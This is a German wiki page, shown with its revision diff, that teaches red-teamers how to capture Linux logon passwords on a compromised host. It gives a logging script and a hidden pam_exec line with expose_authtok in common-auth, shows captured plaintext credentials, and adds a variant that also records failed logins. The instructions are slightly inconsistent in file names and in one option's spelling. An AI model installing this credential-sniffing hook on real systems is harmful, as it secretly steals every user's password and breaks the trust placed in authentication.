Sniffing Logon Passwords with PAM: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 34: Zeile 34:
 
*tail -f /var/log/toomanysecrets.log  
 
*tail -f /var/log/toomanysecrets.log  
 
  Mon Oct 10 16:51:41 UTC 2022 xinux, 123Start$, From: 10.0.10.105
 
  Mon Oct 10 16:51:41 UTC 2022 xinux, 123Start$, From: 10.0.10.105
 +
=Wenn man auch die Fehlversuche sehen will=
 +
*Muss man das Modul einfach weiter nach vorne setzen=
 +
auth    [success=2 default=ignore]      pam_unix.so nullok
 +
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

Version vom 10. Oktober 2022, 17:08 Uhr

Grundsätzliches

  • Pluggable Authentication Modules (PAM) auf Unix-basierten Systemen sind nützlich, um das Anmeldeverhalten zu ändern und die Authentifizierung auf verschiedene Weise zu erzwingen.
  • Angenommen, während einer Red-Team-Übung wurde ein Linux-Host kompromittiert.
  • Zuerst erstellen wir ein Bash-Skript, das immer dann aufgerufen wird, wenn eine neue Authentifizierung erfolgt.

Erstellung des Skripts

  • cat /usr/local/bin/toomanysecrets.log
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
Die Variablen sind PAM-spezifisch und werden über das Modul pam_exec.so verfügbar=
Hier ist die Bedeutung der Variablen
  • $PAM_USER: Der eingegebene Benutzername.
  • $PAM_RHOST: Der Remote-Host (normalerweise die IP-Adresse)
  • $(cat -): Dies liest stdin und enthält das Passwort, das das Skript abruft
Die Ergebnisse werden in eine Protokolldatei unter /var/log/toomanysecrets.log geleitet
Um zu verhindern, dass alle Benutzer die Datei lesen, sollten Sie sie vorab erstellen und chmod ausführen, z.
  • chmod 770 /var/log/toomanysecrets.sh

Aktualisieren der PAM-Konfigurationsdatei common-auth

Als nächstes muss die PAM-Konfigurationsdatei aktualisiert werden, das pam_exec-Modul wird verwendet, um das Skript aufzurufen.
Es gibt verschiedene Konfigurationsdateien in /etc/pam.d/, und wir wählen common-auth.
  • /etc/pam.d/common-auth
Fügen Sie ganz unten in der Datei das folgende Authentifizierungsmodul hinzu
auth optional pam_exec.so quiet exposure_authtok /usr/local/bin/toomanysecrets.sh

Die Optionen haben folgende Bedeutung

  • optional: Die Authentifizierung sollte nicht fehlschlagen, wenn ein Fehler auftritt (dies ist kein erforderlicher Schritt)
  • pam_exec.so: Dies ist das vom Land lebende PAM-Modul, das beliebige Skripte aufrufen kann
  • exposure_authtok: Dies ist der Trick, der es erlaubt, das Passwort über stdin auszulesen
  • quiet: Dem Benutzer keine Fehler anzeigen (wenn etwas nicht funktioniert)
  • Das letzte Argument ist das zuvor erstellte Shell-Skript

Auswertung

  • tail -f /var/log/toomanysecrets.log
Mon Oct 10 16:51:41 UTC 2022 xinux, 123Start$, From: 10.0.10.105

Wenn man auch die Fehlversuche sehen will

  • Muss man das Modul einfach weiter nach vorne setzen=
auth    [success=2 default=ignore]      pam_unix.so nullok
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh